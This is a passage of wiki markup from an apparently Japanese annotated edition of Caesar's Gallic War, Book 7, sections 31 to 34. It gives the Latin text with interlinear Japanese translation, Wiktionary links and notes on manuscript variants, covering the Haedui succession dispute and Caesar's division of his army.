*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; &lt;span style=&quot;color:#009900;&quot;&gt;[eos]&lt;/span&gt; qui [[wikt:en:Avaricum#Latin|Avarico]] [[wikt:en:expugnatus#Latin|expugnato]] [[wikt:en:refugerant#Latin|refugerant]], 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;アウァーリクムが攻略されたので逃げて来ていた者たちに、
*[[wikt:en:armandus#Latin|armandos]] [[wikt:en:vestiendus#Latin|vestiendos]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:curat#Latin|curat]]; 
**武装させられ、服を着せられるように、手配する。
:　
;　　　同盟部族に徴集する兵員の数と集まる期日を指示する
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:simul#Latin|simul]], ut [[wikt:en:deminutus#Latin|deminutae]] [[wikt:en:copiae#Latin|copiae]] [[wikt:en:redintegrarentur#Latin|redintegrarentur]], 
**同時に、減り衰えた軍勢が補充されるように、
*[[wikt:en:imperat#Latin|imperat]] [[wikt:en:certus#Latin|certum]] &lt;u&gt;numerum&lt;/u&gt; militum civitatibus, &lt;u&gt;quem&lt;/u&gt; et &lt;u&gt;quam ante diem&lt;/u&gt; in castra [[wikt:en:adduci#Latin|adduci]] [[wikt:en:velit#Latin|velit]], 
**諸部族に、兵の一定の&lt;u&gt;数&lt;/u&gt;を&lt;u&gt;どれほど&lt;/u&gt;、かつ、&lt;u&gt;いつの日の前までに&lt;/u&gt;陣営に連れて来ることを欲しているかを指図し、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quem]] [[wikt:en:numerus#Latin|numerum]] 「どれほどの数を」。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:qui#Determiner|quam]] ante [[wikt:en:dies#Latin|diem]] 「いつの日の前までに」。）&lt;/span&gt;
*[[wikt:en:sagittarius#Noun|sagittarios]]&lt;u&gt;que&lt;/u&gt; omnes, quorum erat [[wikt:en:permagnus#Latin|permagnus]] &lt;u&gt;numerus in Gallia&lt;/u&gt;, [[wikt:en:conquiri#Latin|conquiri]] et ad se [[wikt:en:mitti#Latin|mitti]] [[wikt:en:iubet#Latin|iubet]]. 
**ガッリアにかなり大勢がいた弓兵のすべてを、徴募して自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ派遣することを命じる。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本の語順は numerus in Gallia で、&lt;br&gt;　　　　　　　　　&amp;beta;系写本の語順は in Gallia numerus となっている。）&lt;/span&gt;
*His rebus celeriter id, quod [[wikt:en:Avaricum#Latin|Avarici]] [[wikt:en:deperierat#Latin|deperierat]], [[wikt:en:expletur#Latin|expletur]]. 
**これらの事により、速やかに、アウァーリクムで壊滅していたそれら&lt;small&gt;（の軍勢）&lt;/small&gt;が補充される。
:　
;　　　ニティオブロゲース族の王テウトマトゥスが、騎兵隊らとともにウェルキンゲトリークスに合流する
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:interim#Latin|Interim]] [[wikt:en:Teutomatus#Latin|Teutomatus]], [[wikt:en:Ollovico#Latin|Olloviconis]] filius, rex &lt;u&gt;Nitiobrogum&lt;/u&gt;, 
**その間に、オッロウィコーの息子で、ニティオブロゲース族の王であるテウトマトゥスが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、主要写本&amp;omega; では Nitiobrogum だが、&lt;br&gt;　　　　　　　　　写本Uの一部では [[wikt:en:Nitiobriges#Latin|Nitiobrigum]] となっている。）&lt;/span&gt;
*cuius pater ab [[wikt:en:senatus#Latin|senatu]] nostro amicus erat [[wikt:en:appellatus#Latin|appellatus]], 
**その父&lt;small&gt;〔オッロウィコー〕&lt;/small&gt;は、我が方&lt;small&gt;〔ローマ人〕&lt;/small&gt;の[[w:元老院 (ローマ)|元老院]]から友人と呼ばれていたのだが、
*cum magno [[wikt:en:eques#Latin|equitum]] suorum numero et quos ex [[wikt:en:Aquitania#Latin|Aquitania]] [[wikt:en:conduxerat#Latin|conduxerat]] ad eum [[wikt:en:pervenit#Etymology_2|pervenit]].
**自らの騎兵の多数およびアクィーターニアから募っていた者たちとともに、彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;のもとへ到着した。

&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

==ゲルゴウィア攻略戦、ハエドゥイー族の離反==
===32節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/32節]]　{{進捗|00%|2026-09-23}}&lt;/span&gt;
;ハエドゥイー族内紛の危機

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar [[wikt:en:Avarici#Latin|Avarici]] complures dies [[wikt:en:commoratus#Latin|commoratus]] 
**カエサルは、アウァーリクムに幾日も留まって、
*[[wikt:en:summus#Latin|summam]]&lt;nowiki&gt;que&lt;/nowiki&gt; ibi [[wikt:en:copia#Latin|copiam]] [[wikt:en:frumentum#Latin|frumenti]] et reliqui [[wikt:en:commeatus#Latin:_noun|commeatus]] [[wikt:en:nactus#Latin|nactus]] 
**そこでかなり多量の糧食やほかの必需品を手に入れて、
*[[wikt:en:exercitus#Latin:_noun|exercitum]] ex [[wikt:en:labor#Latin:_work|labore]] atque [[wikt:en:inopia#Latin:_noun|inopia]] &lt;u&gt;reficit&lt;/u&gt;. 
**軍隊を労苦や欠乏から回復させた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･&amp;beta;系写本では [[wikt:en:reficit#Latin|reficit]]&lt;sub&gt;&amp;nbsp;(現在形)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;phi;系写本では [[wikt:en:refecit#Latin|refecit]]&lt;sub&gt;&amp;nbsp;(完了形)&lt;/sub&gt; となっている。）&lt;/span&gt;

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Iam [[wikt:en:prope#Adverb|prope]] [[wikt:en:hiems#Latin|hieme]] [[wikt:en:confectus#Latin|confecta]], 
**すでに、ほぼ冬は過ぎ去り、
*cum ipso anni tempore ad [[wikt:en:gerendus#Latin|gerendum]] bellum [[wikt:en:vocaretur#Latin|vocaretur]] et ad hostem [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:constituisset#Latin|constituisset]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;まさにその時季に戦争を遂行するために呼び寄せられて、敵の方へ発つことを決意していたときに、
*&lt;u&gt;sive&lt;/u&gt; eum ex [[wikt:en:palus#Latin|paludibus]] [[wikt:en:silva#Latin|silvis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:elicio#Latin|elicere]] &lt;u&gt;sive&lt;/u&gt; [[wikt:en:obsidio#Latin|obsidione]] [[wikt:en:premo#Latin|premere]] [[wikt:en:posset#Latin|posset]], 
**&lt;u&gt;あるいは&lt;/u&gt;&lt;small&gt;（敵を）&lt;/small&gt;沼地や森林から誘い出せるか、&lt;u&gt;あるいは&lt;/u&gt;包囲により圧倒することができるか、というときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：sive ～ sive …「あるいは～、あるいは…」）&lt;/span&gt;
*[[wikt:en:legatus#Latin:_noun|legati]] ad eum [[wikt:en:princeps#Latin:_noun|principes]] [[wikt:en:Haedui#Latin|Haeduorum]] [[wikt:en:veniunt#Latin|veniunt]] 
**[[w:ハエドゥイ族|ハエドゥイー族]]の領袖たちが使節として彼&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへやって来る。
*[[wikt:en:oratum#Latin:_supine|oratum]], ut maxime [[wikt:en:necessarius#Latin:_unavoidable|necessario]] tempore [[wikt:en:civitas#Latin|civitati]] [[wikt:en:subveniat#Latin|subveniat]]&lt;!--;--&gt;: 
**きわめて緊急の時に、部族を助けてくれるように、と頼むために。

:　
;　　　ハエドゥイー族の救援要請（以下、間接話法）
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:summus#Latin|summo]] esse in [[wikt:en:periculum#Latin|periculo]] rem, 
**事態は最大の危機にある。
*quod, cum [[wikt:en:singulus#Latin|singuli]] [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:antiquitus#Latin|antiquitus]] [[wikt:en:creari#Latin|creari]] atque [[wikt:en:regius#Latin|regiam]] [[wikt:en:potestas#Latin|potestatem]] &lt;u&gt;annum&lt;/u&gt; [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:consuessent#Latin|consuessent]], 
**──というのは、昔から一人ずつの統領が選出されて、一年ごとに支配権力に就くことが常であったのに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第1巻#16節|第1巻16節]]によれば、ウェルゴブレトゥス [[w:la:Vergobretus|Vergobretus]]という最高官職が毎年選ばれて大権を司る。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:annum#Latin|annum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:annuam#Adjective|annuam]] となっている。）&lt;/span&gt;
*duo [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gerant#Latin|gerant]] 
**2名が統領を司り、
*et se [[wikt:en:uterque#Latin|uterque]] eorum legibus &lt;u&gt;creatum esse&lt;/u&gt; [[wikt:en:dicat#Latin:_speak|dicat]]. 
**彼らの双方ともに自分は法により&lt;small&gt;〔合法的に〕&lt;/small&gt;選出されたのであると言っているのだから──。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:creatus#Latin|creatum]] esse だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では esse は省かれている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
{{wikipedia|en:Convictolitavis}}
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Horum esse alterum [[wikt:en:Convictolitavis#Latin|Convictolitavem]], [[wikt:en:florens#Latin|florentem]] et [[wikt:en:inlustris#Latin|inlustrem]] [[wikt:en:adulescens#Noun|adulescentem]]&lt;!--,--&gt;; 
**彼らの一方は、コンウィクトリタウィスで、声望があり、秀でた青年である。
*alterum [[wikt:en:Cotus#Latin|Cotum]], [[wikt:en:antiquissimus#Latin|antiquissima]] familia [[wikt:en:natus#Latin:_born|natum]] 
**他方は、コトゥスで、とても古くからの家系に生まれて、
*atque ipsum hominem summae [[wikt:en:potentia#Latin|potentiae]] et magnae [[wikt:en:cognatio#Latin|cognationis]], 
**自身も最大勢力と多くの縁戚関係をもつ人物であり、
*cuius frater Valetiacus proximo anno eundem [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:gesserit#Latin|gesserit]]. 
**その兄弟ウァレティアクスは前年に同じ統領を司っていたのである。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; Civitatem esse omnem in [[wikt:en:arma#Latin|armis]]; 
**部族は皆が武装している。
*[[wikt:en:divisus#Latin|divisum]] [[wikt:en:senatus#Latin|senatum]], divisum [[wikt:en:populus#Latin:_people|populum]], &lt;u&gt;suas&lt;/u&gt; [[wikt:en:cuiusque#Latin|cuiusque]] eorum [[wikt:en:clientela#Latin|clientelas]]. 
**評議会も分裂し、民衆も分裂し、彼ら&lt;small&gt;〔2名〕&lt;/small&gt;の&lt;small&gt;（それぞれの）&lt;/small&gt;庇護民となっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の suas は主要写本&amp;omega;の記述だが、より劣った写本では in suas となっている。）&lt;/span&gt;
*[[wikt:en:quodsi#Latin|Quodsi]] [[wikt:en:diutius#Latin|diutius]] [[wikt:en:alatur#Latin|alatur]] [[wikt:en:controversia#Latin|controversia]], 
**もしこれ以上、紛争が進められれば、
*fore uti pars cum parte civitatis [[wikt:en:confligat#Latin|confligat]]. 
**部族の派閥と派閥が激突することになるであろう。
*Id ne [[wikt:en:accidat#Etymology_1|accidat]], [[wikt:en:positus#Latin|positum]] in eius [[wikt:en:diligentia#Latin|diligentia]] atque [[wikt:en:auctoritas#Latin|auctoritate]].
**それが起こらないかは、彼（カエサル）の入念さと影響力にかかっている。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===33節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/33節]]　{{進捗|00%|2026-10-04}}&lt;/span&gt;
;カエサルがハエドゥイー族の権力をコンウィクトリタウィスに与える

:　
;　　　カエサルが、ハエドゥイー族の内紛を危惧する
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Caesar, &lt;u&gt;etsi&lt;/u&gt; a bello atque hoste [[wikt:en:discedo#Latin|discedere]] [[wikt:en:detrimentosus#Latin|detrimentosum]] esse [[wikt:en:existimabat#Latin|existimabat]], 
**カエサルは、戦争や敵から離れることは損害をもたらすものである、と考えていたのではあるが、
*&lt;u&gt;tamen&lt;/u&gt; non [[wikt:en:ignorans#Latin|ignorans]], [[wikt:en:quantus#Latin|quanta]] ex [[wikt:en:dissensionibus#Latin|dissensionibus]] [[wikt:en:incommodum#Noun|incommoda]] [[wikt:en:oriri#Latin|oriri]] [[wikt:en:consuessent#Latin|consuessent]], 
**しかしながら、[[wikt:ja:内訌|内訌]]からどれほどの災厄が生じることが常であるか、知らないではなかったし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:etsi#Latin|etsi]] ～, [[wikt:en:tamen#Latin|tamen]] …「～ではあるが、しかしながら…」）&lt;/span&gt;
*ne [[wikt:en:tantus#Latin|tanta]] et [[wikt:en:tam#Latin|tam]] [[wikt:en:coniunctus#Latin:_participle|coniuncta]] [[wikt:en:populus#Latin|populo]] [[wikt:en:Romanus#Adjective|Romano]] [[wikt:en:civitas#Latin|civitas]], 
**──これほど大きく、これほどローマ人民と協同している&lt;small&gt;（ハエドゥイーの）&lt;/small&gt;{{ruby|部族国家|キーウィタース}}が、
*quam ipse semper [[wikt:en:aluisset#Latin|aluisset]] [[wikt:en:omnis#Latin|omnibus]]&lt;nowiki&gt;que&lt;/nowiki&gt; rebus [[wikt:en:ornasset#Latin|ornasset]], 
**彼らのことを&lt;small&gt;（カエサル）&lt;/small&gt;自身は常に助成して、かつあらゆる事柄で敬意を表していたのだが、
*ad [[wikt:en:vis#Latin|vim]] atque [[wikt:en:arma#Latin|arma]] [[wikt:en:descenderet#Latin|descenderet]], 
**&lt;small&gt;（彼らが内紛という）&lt;/small&gt;暴力や戦乱に沈み込まないように、
*atque ea pars, quae [[wikt:en:minus#Latin:_adverb|minus]] sibi [[wikt:en:confideret#Latin|confideret]], [[wikt:en:auxilia#Latin|auxilia]] a [[wikt:en:Vercingetorix#Latin|Vercingetorige]] [[wikt:en:arcesseret#Latin|arcesseret]], 
**かつ、自分たちにとって劣勢だと確信している一派が[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の支援を呼び寄せないように──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ne ～ civitas, ～ descenderet, ～ arcesseret「～部族が、～沈まないように、～招かないように」）&lt;/span&gt;
*huic rei [[wikt:en:praevertendus#Latin|praevertendum]] [[wikt:en:existimavit#Latin|existimavit]], 
**この事柄は&lt;small&gt;（戦争遂行よりも）&lt;/small&gt;優先されるべき、と考えた。
:　
;　　　ハエドゥイー族の内紛を沙汰すべく、カエサル自らが赴く
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; et, quod [[wikt:en:lex#Latin|legibus]] [[wikt:en:Haedui#Latin|Haeduorum]] iis, qui summum [[wikt:en:magistratus#Latin|magistratum]] [[wikt:en:obtinerent#Latin|obtinerent]], [[wikt:en:excedo#Latin|excedere]] ex finibus non [[wikt:en:liceret#Latin|liceret]], 
**──というのは、[[w:ハエドゥイ族|ハエドゥイー族]]の法により、最高官職に就いている者は領土から出ることを許されないので──
*ne [[wikt:en:aliquid#Latin:_pronoun|quid]] de [[wikt:en:ius#Latin:_justice|iure]] aut de [[wikt:en:lex#Latin|legibus]] eorum [[wikt:en:deminuisse#Latin|deminuisse]] [[wikt:en:videretur#Latin|videretur]], 
**&lt;small&gt;（カエサルが）&lt;/small&gt;彼らの法令あるいは法制について何ら軽視したとは思われないように、

[[画像:FR-58-Decize29.JPG|thumb|right|250px|デケティア（[[w:la:Decetia|Decetia]]）すなわち現在のドスィーズ（[[w:fr:Decize|Decize]]）の景観。[[w:ハエドゥイ族|ハエドゥイー族]]の版図であった[[w:ニエーヴル県|ニエーヴル県]]の南部にあり、リゲル川（現[[w:ロワール川|ロワール川]]）のほとりに位置している。]]

*ipse in [[wikt:en:Haedui#Latin|Haeduos]] [[wikt:en:proficisci#Latin|proficisci]] [[wikt:en:statuit#Latin|statuit]] 
**&lt;small&gt;（カエサル）&lt;/small&gt;自身がハエドゥイー族のもとに出発することを決心した。
*[[wikt:en:senatus#Latin|senatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et &lt;u&gt;quos inter [[wikt:en:controversia#Latin|controversia]] [[wikt:en:esset#Latin:_be|esset]]&lt;/u&gt; 
**かつ、&lt;u&gt;評議会&lt;/u&gt;の全員、および紛争が介在しているところの者たちを
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：部族国家の合議制統治機関を、カエサルの『ガリア戦記』では&lt;br&gt;　　　　ローマの元老院になぞらえて [[wikt:en:senatus#Latin|senatus]] と呼んでいるが、&lt;br&gt;　　　　区別して「評議会」と訳す。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：quos inter ～ は、関係節の関係代名詞 quos が&lt;br&gt;　　　　　　　　　　　前置詞 inter の前に出ている語順。）&lt;/span&gt;
*ad se [[wikt:en:Decetia#Latin|Decetiam]] [[wikt:en:evocavit#Latin|evocavit]]. 
**デケティアの自分&lt;small&gt;〔カエサル〕&lt;/small&gt;のもとへ呼び出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：デケティア [[w:la:Decetia|Decetia]] は、現在の[[w:en:Decize|Decize]] ドシーズ（ドゥスィズ&lt;ref&gt;Decize の発音は [[wikt:fr:Decize|Decize]] を参照せよ。&lt;/ref&gt;）であると考えられている。）&lt;/span&gt;

:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Cum prope omnis civitas eo [[wikt:en:convenisset#Latin|convenisset]], [[wikt:en:doceretur#Latin|doceretur]]&lt;nowiki&gt;que&lt;/nowiki&gt; 
**部族のほぼすべての&lt;small&gt;（主だった）&lt;/small&gt;者たちがそこに集まっていたときに、&lt;small&gt;（以下のことが）&lt;/small&gt;報知された。
*[[wikt:en:paucus#Latin|paucis]] [[wikt:en:clam#Latin|clam]] [[wikt:en:convocatus#Latin|convocatis]] [[wikt:en:alius#Latin|alio]] loco, [[wikt:en:alius#Latin|alio]] tempore atque [[wikt:en:oportuerit#Latin|oportuerit]], 
**わずかな者たちが密かに、あるべきはずとは別の場所、別の時に呼び集められて、
*[[wikt:en:fratrem#Latin|fratrem]] a [[wikt:en:fratre#Latin|fratre]] [[wikt:en:renuntiatus#Latin|renuntiatum]] &lt;span style=&quot;color:#009900;&quot;&gt;[esse]&lt;/span&gt;, 
**兄により弟&lt;small&gt;（の就位）&lt;/small&gt;が告げられたというのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：前年に統領であった兄ウァレティアクスによって&lt;br&gt;　　　　弟コトゥスの統領への就位が告げられたということであろう。）&lt;/span&gt;
*&lt;span style=&quot;font-size:11pt;&quot;&gt;cum leges &lt;u&gt;duo&lt;/u&gt; ex una familia [[wikt:en:vivus#Latin|vivo]] [[wikt:en:utroque#Latin|utroque]] &lt;u&gt;non solum&lt;/u&gt; [[wikt:en:magistratus#Latin|magistratus]] [[wikt:en:creari#Latin|creari]] [[wikt:en:vetarent#Latin|vetarent]], &lt;u&gt;sed etiam&lt;/u&gt; in [[wikt:en:senatus#Latin|senatu]] esse [[wikt:en:prohiberent#Latin|prohiberent]],&lt;/span&gt; 
**&lt;span style=&quot;font-size:11pt;&quot;&gt;──法が、一家族の2名が双方とも存命中に、統領に選出されるのを禁じるだけでなく、&lt;u&gt;評議会&lt;/u&gt;にいることも禁じているのに──&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：non [[wikt:en:solum#Latin:_adverb|solum]] ～ [[wikt:en:sed#Latin|sed]] [[wikt:en:etiam#Latin|etiam]] …「～のみならず、…もまた」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;･&amp;beta;系写本や写本B･M･Sでは [[wikt:en:duo#Latin|duo]] だが、&lt;br&gt;　　　　　　　　　写本L･Nでは [[wikt:en:duos#Latin|duos]] となっている。）&lt;/span&gt;
*[[wikt:en:Cotus#Latin|Cotum]] [[wikt:en:imperium#Latin|imperium]] [[wikt:en:depono#Latin|deponere]] [[wikt:en:coegit#Latin|coegit]]&lt;!--,--&gt;; 
**（カエサルは）コトゥスに支配権を放棄することを強要した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:Convictolitavis#Latin|Convictolitavem]], qui per [[wikt:en:sacerdos#Latin|sacerdotes]] [[wikt:en:mos#Latin|more]] [[wikt:en:civitas#Latin|civitatis]] [[wikt:en:intermissus#Latin|intermissis]] [[wikt:en:magistratus#Latin|magistratibus]] [[wikt:en:esset#Latin:_be|esset]] [[wikt:en:creatus#Latin|creatus]], 
**コンウィクトリタウィスは、統領が空位になったときに、部族の規則により、&lt;u&gt;祭司&lt;/u&gt;を通じて選出されたので、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ここでいう祭司 sacerdos が[[ガリア戦記 第6巻#13節|第6巻13節]]以下で説明された[[w:ドルイド|ドルイド]]と同じか否かは不詳である。）&lt;/span&gt;
*[[wikt:en:potestas#Latin|potestatem]] [[wikt:en:obtineo#Latin|obtinere]] [[wikt:en:iussit#Latin|iussit]].
**&lt;small&gt;（カエサルは彼に）&lt;/small&gt;権力の座に就くことを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===34節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/34節]]　{{進捗|00%|2026-10-18}}&lt;/span&gt;
;ハエドゥイー族を動員し、ローマ軍をカエサルとラビエーヌスの二隊に分散

:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Hoc [[wikt:en:decretum#Latin|decreto]] [[wikt:en:interpositus#Latin|interposito]], 
**この裁定を裁決すると、
*[[wikt:en:cohortatus#Latin|cohortatus]] [[wikt:en:Haedui#Latin|Haeduos]], 
**&lt;small&gt;（カエサルは）&lt;/small&gt;[[w:ハエドゥイ族|ハエドゥイー族]]を&lt;small&gt;（以下のように）&lt;/small&gt;激励して、
*ut [[wikt:en:controversia#Latin|controversiarum]] ac [[wikt:en:dissensio#Latin|dissensionis]] [[wikt:en:obliviscerentur#Latin|obliviscerentur]] 
**&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;【&lt;/span&gt;&lt;small&gt;（部族内部の）&lt;/small&gt;論争や不和を忘れるように、
*atque, omnibus [[wikt:en:omissus#Latin|omissis]] his rebus 
**かつ、これらすべての事情を度外視して、
*huic bello [[wikt:en:servirent#Latin|servirent]], 
**&lt;small&gt;（ウェルキンゲトリークスとの）&lt;/small&gt;この戦争に尽くすように、
*&lt;u&gt;[[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt;, quae&lt;/u&gt; [[wikt:en:meruissent#Latin|meruissent]], [[wikt:en:praemium#Latin|praemia]] ab se [[wikt:en:devictus#Latin|devicta]] Gallia [[wikt:en:exspectarent#Latin|exspectarent]], 
**ガッリアが征服されたときには&lt;small&gt;（彼らが）&lt;/small&gt;得るに値する自分&lt;small&gt;〔カエサル〕&lt;/small&gt;からの恩賞を期待するように、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:ea#Latin:_things|ea]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae は、最初の印刷本 [[ガリア戦記/注解編/写本と校訂版#Editio_princeps|ed. pr.]] による修正で、&lt;br&gt;　　　　　　　　&amp;alpha;系・&amp;rho;系写本では [[wikt:en:ea#Latin:_things|ea]] quae &lt;br&gt;　　　　　　　　&amp;pi;系写本では atque quae となっている。）&lt;/span&gt;
*[[wikt:en:equitatus#Latin:_cavalry|equitatum]]&lt;nowiki&gt;que&lt;/nowiki&gt; omnem et [[wikt:en:pedes#Latin|peditum]] [[wikt:en:mille#Latin|milia]] X([[wikt:en:decem#Latin|decem]]) sibi celeriter [[wikt:en:mitterent#Latin|mitterent]], 
**&lt;small&gt;（ハエドゥイー族の）&lt;/small&gt;騎兵隊のすべてと歩兵1万名を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に速やかに派遣するように、
*quae in [[wikt:en:praesidium#Latin|praesidiis]] rei [[wikt:en:frumentarius#Latin|frumentariae]] causa [[wikt:en:disponeret#Latin|disponeret]], 
**それらは糧食供給のために守備隊として分けて置くものである、と&lt;span style=&quot;color:#009900;font-size:20pt;&quot;&gt;】&lt;/span&gt;
*[[wikt:en:exercitus#Latin:_noun|exercitum]] in duas partes [[wikt:en:divisit#Latin|divisit]]: 
**&lt;small&gt;（カエサルは）&lt;/small&gt;軍隊を二つの方面軍に分けた。

:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:quattuor#Latin|quattuor]] [[wikt:en:legio#Latin|legiones]] in [[wikt:en:Senones#Latin|Senones]] [[wikt:en:Parisii#Latin|Parisios]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:Labienus#Latin|Labieno]] [[wikt:en:ducendus#Latin|ducendas]] [[wikt:en:dedit#Latin|dedit]], 
**4個[[w:ローマ軍団|軍団]]をセノネース族やパリスィイー族のところに率いて行くべく[[w:ティトゥス・ラビエヌス|ラビエーヌス]]に委ねた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ラビエーヌス [[w:la:Titus Labienus|Labienus]] のこの遠征については&lt;br&gt;　　　　[[#57節|57節]]～62節で述べられる。）&lt;/span&gt;
*[[wikt:en:sex#Latin|sex]] ipse in [[wikt:en:Arverni#Latin|Arvernos]] ad oppidum [[wikt:en:Gergovia#Latin|Gergoviam]] 
**6個&lt;small&gt;（軍団）&lt;/small&gt;を自身&lt;small&gt;〔カエサル〕&lt;/small&gt;がアルウェルニー族のところの城塞都市ゲルゴウィアへ
[[画像:Brioude pont.JPEG|thumb|right|250px|エラウェル川（[[w:la:Elaver|Elaver]]）こと現在の[[w:アリエ川|アリエ川]]（Allier）。ハエドゥイー族領の境辺りでリゲル川（[[w:la:Liger|Liger]]）こと現[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|Loire]]）に合流する。]]
*[[wikt:en:secundum#Preposition_2|secundum]] flumen [[wikt:en:Elaver#Latin|Elaver]] [[wikt:en:duxit#Latin|duxit]]; 
**エラウェル川に沿って率いて行った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：エラウェル川 [[w:la:Elaver|Elaver]] は現在の[[w:アリエ川|アリエ川]] Allier である。）&lt;/span&gt;
*[[wikt:en:equitatus#Latin:_cavalry|equitatus]] partem illi [[wikt:en:adtribuit#Latin|adtribuit]], 
**騎兵隊の一部を彼&lt;small&gt;〔ラビエーヌス〕&lt;/small&gt;に割り当てて、
*partem sibi [[wikt:en:reliquit#Latin|reliquit]]. 
**&lt;small&gt;（別の）&lt;/small&gt;一部を自分&lt;small&gt;〔カエサル〕&lt;/small&gt;に残した。

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Qua re [[wikt:en:cognitus#Participle|cognita]] 
**その事を知ると、
*[[wikt:en:Vercingetorix#Latin|Vercingetorix]] 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は
*omnibus [[wikt:en:interruptus#Latin|interruptis]] eius fluminis [[wikt:en:pons#Latin|pontibus]] 
**その川のすべての橋を破却すると、
*ab [[wikt:en:alter#Latin|altera]] fluminis parte [[wikt:en:iter#Latin|iter]] facere [[wikt:en:coepit#Latin|coepit]].
**川の別の側を行軍し始めた。
&lt;!--
